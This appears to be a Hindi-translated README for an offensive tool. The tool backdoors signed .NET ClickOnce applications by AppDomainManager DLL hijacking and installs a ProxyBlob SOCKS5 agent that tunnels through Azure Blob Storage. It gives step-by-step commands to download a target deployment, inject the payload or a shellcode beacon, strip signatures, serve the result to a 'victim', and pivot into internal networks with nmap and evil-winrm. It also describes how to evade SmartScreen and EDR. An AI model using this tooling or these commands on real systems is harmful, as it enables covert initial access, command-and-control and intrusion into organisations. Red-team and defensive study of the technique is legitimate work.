
साइन किए गए .NET ClickOnce एप्लिकेशन को प्रारंभिक पहुंच के लिए हथियार बनाएं, एक निर्भरता DLL को AppDomainManager इंजेक्शन के माध्यम से हाईजैक करें और C# पोर्ट ProxyBlob Agent लोड करें।

हस्ताक्षरित .NET ClickOnce अनुप्रयोगों को प्रारंभिक पहुँच के लिए हथियार बनाएँ, एक निर्भरता DLL को AppDomainManager इंजेक्शन के माध्यम से अपहरण करके और ProxyBlob एजेंट का C# पोर्ट लोड करें। ProxyBlob के C# पोर्ट के साथ आता है — एक SOCKS5 प्रॉक्सी जो सभी ट्रैफ़िक को Azure Blob Storage के माध्यम से सुरंग बनाता है, ऐसे वातावरणों में मिश्रित होता है जहाँ *.blob.core.windows.net श्वेतसूची में है।
ClickOnce, .NET ऐप्स के लिए Microsoft की एक-क्लिक तैनाती तकनीक है। जब कोई उपयोगकर्ता .application URL पर क्लिक करता है, तो Windows बिना व्यवस्थापक विशेषाधिकारों की आवश्यकता के ऐप को डाउनलोड और चलाता है। हमला:
.exe.config इंजेक्ट करें जो CLR को हमारी DLL को AppDomainManager के रूप में लोड करने का निर्देश देता हैहोस्ट .exe अछूता और वैध रूप से हस्ताक्षरित रहता है। SmartScreen एक ज्ञात बाइनरी देखता है। EDR एक विश्वसनीय प्रक्रिया को मॉड्यूल लोड करते हुए देखता है। आपका एजेंट केवल HTTPS के माध्यम से Azure Blob Storage के साथ संचार करता है।
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
हमलावर (Linux/macOS):
बिल्ड मशीन (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe पर आता है (स्वतः-पता लगाने योग्य)nuget.exe को स्क्रिप्ट के बगल में रखें या PATH में जोड़ें (केवल --proxyblob मोड के लिए आवश्यक)स्क्रिप्ट स्वतः csc.exe और nuget.exe का पता लगाती है। --proxyblob के लिए, BouncyCastle और ILMerge पहली बार चलाने पर NuGet के माध्यम से स्क्रिप्ट के बगल में packages/ निर्देशिका में स्वतः-स्थापित होते हैं (रनों के बीच बने रहते हैं)।
एजेंट कोड आर्किटेक्चर-तटस्थ है (कोई P/Invoke नहीं, कोई शेलकोड नहीं)। --platform फ़्लैग (csc.exe /platform: को पास किया गया) नियंत्रित करता है कि CLR इसे कैसे लोड करता है:
किसी लक्ष्य ऐप का प्लेटफ़ॉर्म निर्धारित करने के लिए corflags.exe TargetApp.exe से जाँच करें।
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
या स्थानीय रूप से Azurite का उपयोग करें:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
प्रॉक्सी शेल में:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

उस कनेक्शन स्ट्रिंग को सहेजें — यह एजेंट में जाता है।
ClickOnce एकीकरण से पहले हमेशा सत्यापित करें कि एजेंट स्वतंत्र रूप से काम करता है।
Windows बिल्ड मशीन पर:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
प्रॉक्सी पर वापस:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
परीक्षण:
proxychains curl http://ipconfig.io
यदि यह काम करता है, तो ClickOnce एकीकरण पर आगे बढ़ें।
रीकॉन के दौरान एक लक्ष्य ClickOnce ऐप खोजें (.application URL खोजें)। आपको चाहिए:
पूरी ClickOnce तैनाती डाउनलोड करें:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

स्क्रिप्ट स्वतः C# स्रोत संकलित करती है, NuGet निर्भरताएँ संभालती है (--proxyblob के लिए), BouncyCastle को DLL में ILMerge करती है, और सभी मेनिफेस्ट को पैच करती है — सब एक ही रन में:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

स्क्रिप्ट संभालती है: आपकी सेटिंग्स के साथ C# स्रोत उत्पन्न करना, csc.exe के माध्यम से संकलन, BouncyCastle को ILMerge करना (--proxyblob के लिए), DLL को बदलना, AppDomainManager इंजेक्शन के साथ .exe.config बनाना, दोनों फ़ाइलों को मेनिफेस्ट में जोड़ना, सभी SHA256 हैश और फ़ाइल आकारों की पुनर्गणना करना, कोड हस्ताक्षर हटाना, विक्रेता publicKeyToken को शून्य करना, और तैनाती प्रदाता URL को अद्यतन करना।
मैन्युअल ओवरराइड: आप अभी भी पूर्व-संकलित DLL की आपूर्ति करने के लिए --payload का उपयोग कर सकते हैं (संकलन छोड़ें):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge असेंबली नाम की समस्या: ILMerge आंतरिक असेंबली नाम आउटपुट फ़ाइल नाम से सेट करता है, इनपुट से नहीं। यदि आप
Foo_merged.dllमें मर्ज करते हैं और फिर फ़ाइल का नाम बदलकरFoo.dllकरते हैं, तो आंतरिक नाम अभी भीFoo_mergedहै — CLR मेटाडेटा पढ़ता है, फ़ाइल नाम नहीं।.exe.configमेल नहीं खाएगा, और AppDomainManager इंजेक्शन बिना किसी त्रुटि के चुपचाप विफल हो जाता है। स्क्रिप्ट इसे सीधे अंतिम नाम पर ILMerge करके सही ढंग से संभालती है।
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

या इन MIME प्रकारों के साथ कॉन्फ़िगर किए गए किसी भी वेब सर्वर का उपयोग करें:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
पीड़ित को भेजें: http://YOUR-SERVER/APPLICATION.application
वे इंस्टॉल पर क्लिक करते हैं → ऐप चलता है → आपका SOCKS5 टनल खुलता है।

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



परीक्षण तैनातियों के बीच साफ़ करें:
rundll32 dfshim CleanOnlineAppCache
डिबगिंग के लिए, पहले ProxyBlobStandalone.cs का उपयोग करें — यह stderr पर विस्तृत लॉग लिखता है जो पैकेट प्रकार, कनेक्शन घटनाओं और त्रुटियों को दिखाता है। एक बार काम करने की पुष्टि हो जाने पर, ClickOnce एकीकरण के लिए ProxyBlobAgent.cs पर स्विच करें।
एजेंट Go ProxyBlob एजेंट का एक वफादार पोर्ट है। पोर्ट के दौरान तीन महत्वपूर्ण बग पाए गए और ठीक किए गए:
1. UUID बाइट ऑर्डर — Go का uuid.UUID 16 बाइट्स को RFC 4122 (बिग-एंडियन) क्रम में संग्रहीत करता है। .NET का Guid कंस्ट्रक्टर पहले 3 घटकों को लिटिल-एंडियन में बदल देता है, जिससे वायर पर ConnectionID बेमेल हो जाता है। कच्चे byte[16] ऐरे का उपयोग करके ठीक किया गया।
2. XChaCha20-Poly1305 — Go chacha20poly1305.NewX() = 24-बाइट नॉन्स के साथ XChaCha20 का उपयोग करता है। BouncyCastle का ChaCha20Poly1305 केवल 12-बाइट IETF नॉन्स का समर्थन करता है। HChaCha20 उपकुंजी व्युत्पत्ति लागू करके ठीक किया गया:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Base64 पैडिंग — Go base64.RawStdEncoding (कोई = पैडिंग नहीं) का उपयोग करता है। .NET को पैडिंग की आवश्यकता है। डिकोड से पहले ऑटो-पैडिंग करके ठीक किया गया।
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net पर जाता है — वैध Azure ट्रैफ़िक के साथ मिश्रित होता है.exe वैध रूप से हस्ताक्षरित रहता है — केवल निर्भरता DLL और .config संशोधित होते हैंAPPLICATION) के रूप में दिखाई देती हैयह उपकरण केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनका परीक्षण करने की आपके पास स्पष्ट लिखित अनुमति है।
--platform | x86 Windows पर चलता है | x64 Windows पर चलता है | कब उपयोग करें |
|---|
x86 (default) | 32-bit | 32-bit (WoW64) | लक्ष्य ऐप x86 है |
x64 | ✗ | 64-bit | लक्ष्य ऐप x64 है |
anycpu | 32-bit | 64-bit | स्टैंडअलोन परीक्षण, या लक्ष्य AnyCPU है |
| त्रुटि | समाधान |
|---|
csc.exe not found | .NET Framework 4.x स्थापित करें या csc.exe को PATH में जोड़ें |
nuget.exe not found | nuget.org से डाउनलोड करें, स्क्रिप्ट के बगल में रखें या PATH में जोड़ें |
CS0012: type 'Object' ... netstandard | csc कमांड में /r:netstandard.dll जोड़ें |
Metadata file ... net461 ... not found | netstandard2.0 BouncyCastle पथ का उपयोग करें |
| लक्षण | कारण | समाधान |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL एम्बेड नहीं है | एकल DLL बनाने के लिए ILMerge का उपयोग करें |
| AppDomainManager not loading after ClickOnce run | आंतरिक असेंबली नाम बेमेल | असेंबली नाम .exe.config से मेल खाना चाहिए। ildasm /text Dll.dll | findstr ".assembly" से जाँच करें |
| Agent exits with code 3 | कनेक्शन स्ट्रिंग अमान्य या समाप्त | प्रॉक्सी में create के साथ पुनर्जीवित करें |
| ClickOnce install fails silently | मेनिफेस्ट हैश बेमेल | स्वचालन स्क्रिप्ट फिर से चलाएँ या मैन्युअल रूप से SHA256 हैश की पुनर्गणना करें |
RefDefValidation error during install | तृतीय-पक्ष DLL स्ट्रॉन्ग-नेम टोकन शून्य हो गया | स्क्रिप्ट केवल विक्रेता टोकन को शून्य करती है। यदि आवश्यक हो तो पेलोड DLL नाम सेट करने के लिए --dll-name का उपयोग करें |